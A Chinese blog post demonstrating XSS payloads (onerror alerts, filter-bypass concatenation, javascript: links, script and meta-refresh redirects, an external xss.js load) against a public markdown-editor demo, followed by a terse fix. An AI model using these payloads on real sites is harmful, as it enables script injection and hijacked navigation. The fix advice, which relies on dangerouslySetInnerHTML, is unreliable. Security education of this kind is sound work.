
我用的是这个插件,但是不管是什么markdown插件,原理都是一样的,我就以这个为例子了哈!
大家可以点击下方链接中测试下面的xss代码。
https://harrychen0506.github.io/react-markdown-editor-lite/
使用以下xss代码输入到markdown输入框中会执行xss代码:
1、触发弹窗:
(1)<img src="x" onerror="alert(55555)">
(2)通过拼接法绕过形式:<img src="x" onerror="parent[`al`+`ert`](55555)">
2、生成可点击跳转的的样式,用户点击后发生跳转:
[XSS](javascript:alert('XSS'))
3、网页跳转,等同于任意url跳转:输入后进入该页面自动发生跳转
<script>window.location.href="https://www.baidu.com"</script>
<meta content="1;http://www.baidu.com/" http-equiv="refresh">
4、其它标签payload触发弹窗:
<img src="" onerror="alert(1)">
<iframe src=javascript:alert(1)>
<svg><x><script>alert(1)</x>
5、IMG标签XSS使用JavaScript命令
<IMG SRC=http://3w.org/XSS/xss.js/>
6、URL绕行
<A HREF="http://127.0.0.1/">XSS</A>
举例一个,运行出来就是下方这样的

现在就来说怎么解决哈:
第一步:将html设置为false

第二步:使用dangerouslySetInnerHTML

希望可以帮助到大家!
Markdown XSS攻击案例与防御

684

被折叠的 条评论
为什么被折叠?



